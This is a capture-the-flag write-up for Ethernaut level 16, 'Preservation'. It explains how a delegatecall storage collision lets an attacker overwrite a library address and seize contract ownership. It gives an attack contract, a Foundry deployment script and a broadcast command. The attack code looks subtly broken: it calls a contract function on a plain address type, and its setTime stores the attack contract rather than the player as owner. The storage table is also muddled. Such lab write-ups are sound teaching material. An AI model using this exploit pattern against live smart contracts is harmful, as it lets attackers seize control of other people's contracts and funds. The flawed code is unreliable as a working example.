The Ethernaut CTF Solutions | 16 - Preservation
Ownership Takeover: Leveraging Delegatecall and Storage Collision in Smart Contracts
Table of contents
Goals
The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(
address _timeZone1LibraryAddress,
address _timeZone2LibraryAddress
) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(
abi.encodePacked(setTimeSignature, _timeStamp)
);
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(
abi.encodePacked(setTimeSignature, _timeStamp)
);
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
The hack
Here, we have to become the new contract owner. Ensure you completed the level 6 - Delegation before this one, so you understand how delegatecall
works.
After a quick first look, we can see that no function allows us to override the owner variable directly. However, we know that a delegatecall
executes the code of the called contract (LibraryContract
), but with the storage of the calling contract (Preservation
). And since their storage doesn't match, we will be able to override some data and take ownership eventually. But, how?
Let's say we call the setFirstTime
function with a uint, it will call the setTime
function of the LibraryContract
with the same uint via the delegatecall
. The setTime
function will set the storedTime
variable to the uint at storage slot 0. But since the delegatecall
is using the Preservation
contract storage, it will override the timeZone1Library
variable instead.
Let's visualize this in a table to make it clearer:
Storage slot | Preservation | LibraryContract | Malicious Contract |
0 | timeZone1Library | storedTime | timeZone1Library |
1 | timeZone2Library | timeZone2Library | |
2 | owner | owner | |
3 | storedTime | storedTime |
Storage collision happening at slot 0. A simple unit test would have easily revealed this!
Since we can override the timeZone1Library
variable, we could override it with a malicious contract address containing our own version of the setTime
function. So we can call the setFirstTime
once with our malicious contract address to override the library address, then once more to delegate the call to our malicious contract and override the owner
variable to our address.
Solution
Here is our malicious contract with a custom setTime()
function, and... a storage identical to the Preservation
contract to avoid any collision.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract Disappearance {
address public timeZone1Library;
address public preservation;
address public owner;
constructor(address _preservation) {
preservation = _preservation;
}
function attack() public {
preservation.setFirstTime(uint256(uint160(address(this))));
preservation.setFirstTime(uint256(uint160(msg.sender)));
require(preservation.owner() == msg.sender, "Hack failed!");
}
function setTime(uint _time) public {
owner = msg.sender;
}
}
Next, let's prepare our deployment script:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
import {Disappearance} from "../src/16_Preservation.sol";
interface IPreservation {
function owner() external view returns (address);
}
contract PoC is Script {
// Replace with your Preservation instance
address private immutable preservation =
0x8588D155A211844d8dA27b09EAf89C657Cd3c496;
function run() external payable {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
console2.log("Current owner: ", IPreservation(preservation).owner());
Disappearance disappearance = new Disappearance(preservation);
disappearance.attack();
console2.log("New owner: ", IPreservation(preservation).owner());
vm.stopBroadcast();
}
}
Then run the script with the following command:
forge script script/16_Preservation.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
๐ Level completed ๐
Takeaway
Libraries should be stateless & use the
library
keyword.Avoid using
delegatecall
with user inputs. Or simply avoid usingdelegatecall
at all.
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/